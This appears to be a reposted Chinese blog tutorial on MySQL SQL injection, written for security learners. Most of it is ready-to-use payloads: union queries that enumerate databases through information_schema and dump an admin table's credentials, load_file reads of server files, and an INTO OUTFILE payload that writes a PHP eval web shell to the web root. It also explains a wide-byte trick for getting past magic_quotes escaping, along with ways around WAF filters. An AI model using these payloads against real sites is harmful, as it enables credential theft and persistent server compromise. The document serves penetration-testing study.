十三:SQL注入之MYSQL注入

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆。作为安全开发工作者,攻防兼备。
注入点权限是否为root,取决于连接数据库的文件。这也决定了高权限注入及低权限注入


跨库查询及应用思路

information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 

查表,找与网站对应的数据库名,若没有,则挨个查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'

跨库查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'

查结果。。。
?id=-1 union select 1,u,p from qqyw.admin

文件读写操作

  load_file():读取文件函数
  into outfile或者into dumpfile:导出函数
  
  路径获取常见方法:
报错显示   (phpinfo.php)   ,遗留文件      ,漏洞报错,平台配置文件

  常见读取文件列表:(需得知网站绝对路径)
union select 1,load_file('D:\phpmyadmin\dudu.txt'),3 

  常见写入文件问题:魔术引号开关
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\www\dudu.php'

魔术引号及常见保护

php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'单引号,"双引号,反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法构成威胁。
编码或者宽字节进行绕过

isset无法绕过   替换关键字

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。

自定义关键字替换

WAF对常见攻击语句进行报错,绕过思路

低版本注入配合读取或者暴力

5.0版本以下,跑字典。。

  字典或读取
原文地址:https://www.cnblogs.com/SnowSec/p/14276104.html